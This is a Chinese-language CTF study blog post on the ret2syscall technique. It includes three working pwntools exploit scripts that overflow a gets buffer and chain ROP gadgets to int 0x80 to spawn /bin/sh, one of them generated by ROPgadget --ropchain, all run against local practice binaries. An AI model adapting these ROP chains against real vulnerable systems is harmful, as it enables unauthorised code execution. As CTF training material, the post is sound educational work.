再識ret2syscall


  當初學rop學到的ret2syscall,對int 0x80中斷了解還不是很深,這次又復習了一遍。雖然很簡單,但是還是學到了新東西。那么我們就從ret2syscall開始吧。

  IDA一打開的時候,就看見函數窗口有超級多的函數,我就意識到,應該是靜態編譯。這樣軟件就沒調用libc,也就不存在leak libc版本來獲取shell地址了。記得以前做過的一道靜態編譯,利用的是ROPgadget。剛剛試了一下,發現這道題也可以,這個我們最后說。

  IDA打開后搜索字符串,發現“/bin/sh”字樣,但是沒有system函數。那么我們就想到用系統調用的方法來拿到shell。系統調用需要一個函數就是int 0x80,我們用ROPgadget來搜索一下。

 

  截圖中我們有了int 0x80的地址和“/bin/sh”的地址,再獲取一些給寄存器賦值的gadget就可以寫exp了,這里就直接貼上exp了。

 1 from pwn import *
 2 
 3 p = process('./ret2syscall')
 4 
 5 binsh_addr = 0x080be408
 6 pop_eax = 0x080bb196
 7 pop_edx_ecx_ebx = 0x0806eb90
 8 int80_addr = 0x08049421
 9 
10 payload = 'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr)
11 
12 p.sendline(payload)
13 p.interactive()

  這是我第一次學習時候的ret2syscall的時候的exp,當我今天又遇到一個這種類型的題。我們來細細看一下。

  

  

  直接main函數一個gets溢出,然后就沒了。這道題是直接搜不出“/bin/sh”字符串的。但是其實如果真的掌握精髓的話,其實是可以拼接出“/bin/sh”字符串的,因為我搜了一下,有“/”,有“bin”,有“sh”,但是我拼接過程中不知道該如何截斷一個字符串。那么我們還能怎么辦呢?既然是系統調用,那么我們不如調用一個read函數,來自己輸入“/bin/sh”吧。

  自己輸入“/bin/sh”的話,就需要我們調用兩次int 80,但是,卻怎么也打不通。

  

  這時候有師傅告訴我說,用ROPgadget這樣搜索,搜出來也是系統調用,我懷着疑惑,用qira看一下。

  

  我們調用了兩次int80,但是匯編只顯示了一行,經過調試發現,當read執行完,執行shellcode的時候又會跳到第一個int80來系統調用。

  那我們再看一下,第一次搜索出來的int80為啥不行。。。

  

  發現這樣調用之后,任務直接就中斷了,就不會繼續執行了。。。

  那么就總結出來了,如果只需要一次系統調用,可以用這種命令:ROPgadget --binary rop --only 'int'

  如果我們需要多次系統調用,就只能用這個命令來找int 0x80 :ROPgadget --binary rop --opcode cd80c3

  本題如果我們要自己輸入“/bin/sh”的話,就需要用這個找到的地址了。

  那么我們貼一下這道題的exp:

 

 1 from pwn import *
 2 import time
 3 
 4 p = process('./rop')
 5 #p = remote('127.0.0.1',4000)
 6 elf = ELF('./rop')
 7 context.log_level = 'debug'
 8 
 9 pop_eax_edx_ebx = 0x08053d14
10 pop_ecx = 0x080595b3
11 ret = 0x080481b2
12 #int80 = 0x0806c405   #int80
13 int80 = 0x0806ef00     #ROPgadget --binary rop --opcode cd80c3
14 buf = elf.bss() + 0x300
15 payload = 'a'*22
16 payload += flat([
17     pop_eax_edx_ebx,
18     0x3,
19     0x10,
20     0x0,
21     pop_ecx,
22     buf,
23     int80,
24     pop_eax_edx_ebx,
25     0xb,
26     0x0,
27     buf,
28     pop_ecx,
29     0x0,
30     int80])
31 p.sendline(payload)
32 sleep(1)
33 p.send('/bin/sh\x00')
34 sleep(1)
35 p.sendline('cat flag.txt')
36 p.recv()
37 p.close()

 

  說到這里,其實也該完了,但是我發下ROPgadget是真的牛逼。他還有這么一行命令:

  

ROPgadget --binary rop --ropchain

 

  這行命令,會自己從程序里面找gadget片段,然后拼接出shellcode,如果這道題用這種方法做,我貼一下exp:

 

 1 from pwn import *
 2 from struct import pack
 3 import time
 4 
 5 z = process('./rop')
 6 #p = remote('127.0.0.1',4000)
 7 elf = ELF('./rop')
 8 context.log_level = 'debug'
 9 
10 p = 'a'*22
11 
12 p += pack('<I', 0x0806e7da) # pop edx ; ret
13 p += pack('<I', 0x080ec080) # @ .data
14 p += pack('<I', 0x080b90f6) # pop eax ; ret
15 p += '/bin'
16 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
17 p += pack('<I', 0x0806e7da) # pop edx ; ret
18 p += pack('<I', 0x080ec084) # @ .data + 4
19 p += pack('<I', 0x080b90f6) # pop eax ; ret
20 p += '//sh'
21 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
22 p += pack('<I', 0x0806e7da) # pop edx ; ret
23 p += pack('<I', 0x080ec088) # @ .data + 8
24 p += pack('<I', 0x08049173) # xor eax, eax ; ret
25 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
26 p += pack('<I', 0x080481c9) # pop ebx ; ret
27 p += pack('<I', 0x080ec080) # @ .data
28 p += pack('<I', 0x080595b3) # pop ecx ; ret
29 p += pack('<I', 0x080ec088) # @ .data + 8
30 p += pack('<I', 0x0806e7da) # pop edx ; ret
31 p += pack('<I', 0x080ec088) # @ .data + 8
32 p += pack('<I', 0x08049173) # xor eax, eax ; ret
33 p += pack('<I', 0x080be674) # inc eax ; ret
34 p += pack('<I', 0x080be674) # inc eax ; ret
35 p += pack('<I', 0x080be674) # inc eax ; ret
36 p += pack('<I', 0x080be674) # inc eax ; ret
37 p += pack('<I', 0x080be674) # inc eax ; ret
38 p += pack('<I', 0x080be674) # inc eax ; ret
39 p += pack('<I', 0x080be674) # inc eax ; ret
40 p += pack('<I', 0x080be674) # inc eax ; ret
41 p += pack('<I', 0x080be674) # inc eax ; ret
42 p += pack('<I', 0x080be674) # inc eax ; ret
43 p += pack('<I', 0x080be674) # inc eax ; ret
44 p += pack('<I', 0x0806c405) # int 0x80
45 z.sendline(p)
46 z.interactive()
47     
View Code

 

  payload直接用自動生成的就可以,仔細閱讀一下自動生成的,發現就是都是利用片段拼接,而且只調用了一次int 0x80,調用的這次也是咱們那個只能用一次的int 0x80的那個地址。這樣,這種題目就算是分析透徹了。

  當然這種直接生成的payload一般都比較長,適用於gets函數,我做了一道題是read,因為限制長度就不能用。

  好了,分析就到這了。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM